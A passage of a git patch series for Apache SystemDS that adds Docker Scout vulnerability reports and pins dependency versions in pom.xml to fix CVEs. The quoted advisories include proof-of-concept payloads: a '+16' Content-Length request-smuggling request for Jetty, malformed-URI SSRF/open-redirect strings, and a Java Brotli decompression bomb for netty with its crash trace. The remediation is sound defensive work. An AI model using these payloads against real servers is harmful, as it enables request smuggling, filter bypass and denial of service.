+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) + +pkg:maven/com.google.guava/guava@27.0-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) + +pkg:maven/com.google.guava/guava@30.1.1-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) + +pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
+medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch + + + + + + + + +
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.112%
EPSS Percentile30th percentile
+ +
Description +
+ +The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. + +This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: + + * The attacker is able to intercept or redirect network traffic between the client and the log receiver. + * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). + + +Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. + +As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.118.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.118.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
+low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference + + + + + + +
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
+ +
Description +
+ +### From the reporter + +> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. +> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit +> this vulnerability in order to achieve SSRF or cause a denial of service. +> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the +> WAR includes a malicious web.xml. + +### Impact +There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. + +Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. + +However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. + +### Patches +Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 + +### Workarounds +Don't use `XmlParser` to parse data from users. + + + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/docker/systemds-3878_summary-of-changes.md b/docker/systemds-3878_summary-of-changes.md index 627cf09fa8d..5e227defea0 100644 --- a/docker/systemds-3878_summary-of-changes.md +++ b/docker/systemds-3878_summary-of-changes.md @@ -13,7 +13,7 @@ - Identify the correct package Scout recommends upgrading the package to `3.7.2`, `3.8.3`, or `3.9.1`. \ - [Releases](https://zookeeper.apache.org/releases.html): `3.7.2` already reached its EoL. `3.9` is not yet in its stable version. + [Releases](https://zookeeper.apache.org/releases.html): `3.7.2` already reached its EoL. Apache zookeeper is not directly imported in the project. The vulnerability is raised transitively by another dependecy. \ `mvn dependency:tree` shows all implicit dependencies (see the [appendix](#output-of-mvn-dependencytree) for the output). \ @@ -41,26 +41,34 @@ scala `2.13` is not backwards compatible with `2.12`. - No direct backwards compatibility between `4.0` and `3.5` \ [core migration guide](https://spark.apache.org/docs/latest/core-migration-guide.html#upgrading-from-core-35-to-40) - - Make `spark-core` use zookeeper `3.8.3` + - Make `spark-core` use zookeeper `3.8.3+` - as `spark-core` is a package using `zookeeper`, explicitely declaring another version of the zookeeper dependency will override spark's dependecy. As zookeeper is backwards compatible, this should not cause problems for the app - `hadoop-common 3.3.6` also uses `zookeeper 3.6.3`. #### Solution +Zookeeper `3.9.4` will be used to solve all zookeeper-related vulnerabilities. `netty-handler` is also explicitly imported to solve a vulnerability related to the implicit version. + **Changes** - `pom.xml` - explicit dependency \ - `zookeeper 3.8.3` \ + `zookeeper 3.9.4` \ The vulnerability is solved by upgrading the version of `zookeeper` ```xml org.apache.zookeeper zookeeper - 3.8.3 + 3.9.4 + + + io.netty + netty-handler + + ``` - exclude `zookeeper` from @@ -95,6 +103,8 @@ The critical vulnerability in `zookeeper` is not shown anymore - `mvn dependency:tree` \ shows a more recent version of zookeeper + + No packet imported by zookeeper generates CVES. - building the project works \ `mvn clean package -P distribution` @@ -110,7 +120,7 @@ `du -h /home/schnee/DIA-sysds-scout-tmp/` to see directory usage. \ `docker scout cache df` and `docker scout cache prune` to view and clear scout cache. - Change default tmp partition to a bigger filesystem + Change default tmp partition to a bigger filesystem \ `export TMPDIR=/home/schnee/DIA-sysds-scout-tmp` \ `export DOCKER_SCOUT_CACHE_DIR=/home/schnee/DIA-sysds-scout-tmp` - copy container filesystem to analyze jars: diff --git a/pom.xml b/pom.xml index 4b45961eb56..ad16885f4ab 100644 --- a/pom.xml +++ b/pom.xml @@ -1100,10 +1100,22 @@ ${jcuda.scope} + + io.netty + netty-handler + 4.1.118.Final + + org.apache.zookeeper zookeeper - 3.8.3 + 3.9.4 + + + io.netty + netty-handler + + From 7eca64a3f667aa15cb09c1cb298eeb1bb899bab4 Mon Sep 17 00:00:00 2001 From: anabel-ksp Date: Thu, 15 Jan 2026 14:41:20 +0100 Subject: [PATCH 08/31] [MINOR][SYSTEMDS-3878] Fix multiple high-severity CVEs in transitive dependencies MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This commit addresses multiple high-severity vulnerabilities by pinning transitive dependency versions in dependencyManagement: - CVE-2024-7254: protobuf-java 3.23.4 → 3.25.5 (CVSS 8.7) - CVE-2024-47554: commons-io → 2.14.0 (DoS vulnerability) - CVE-2023-1436: jettison → 1.5.4 (Stack overflow) - CVE-2023-43642: snappy-java → 1.1.10.4 (Multiple CVEs) - CVE-2023-6378: logback → 1.2.13 (Deserialization) - CVE-2025-52999: jackson-core → 2.15.0 (Stack overflow) - CVE-2023-1370: json-smart → 2.4.9 (Stack overflow) - CVE-2023-52428: nimbus-jose-jwt → 9.37.4 (Resource consumption) - CVE-2024-36114: aircompressor → 0.27 (Out-of-bounds read) --- .../multiple-high-CVEs/sysds_output6.md | 2645 +++++++++++++++++ .../multiple-high-CVEs/sysds_output7.md | 2599 ++++++++++++++++ pom.xml | 112 +- 3 files changed, 5331 insertions(+), 25 deletions(-) create mode 100644 docker/scout_results/multiple-high-CVEs/sysds_output6.md create mode 100644 docker/scout_results/multiple-high-CVEs/sysds_output7.md diff --git a/docker/scout_results/multiple-high-CVEs/sysds_output6.md b/docker/scout_results/multiple-high-CVEs/sysds_output6.md new file mode 100644 index 00000000000..78586b7e953 --- /dev/null +++ b/docker/scout_results/multiple-high-CVEs/sysds_output6.md @@ -0,0 +1,2645 @@ +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:2bb5b23b2b7d8a830051e63f94110519fb56a4ca073b1b82cb451946da904496
vulnerabilitiescritical: 4 high: 18 medium: 39 low: 10 unspecified: 1
platformlinux/amd64
size381 MB
packages353
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
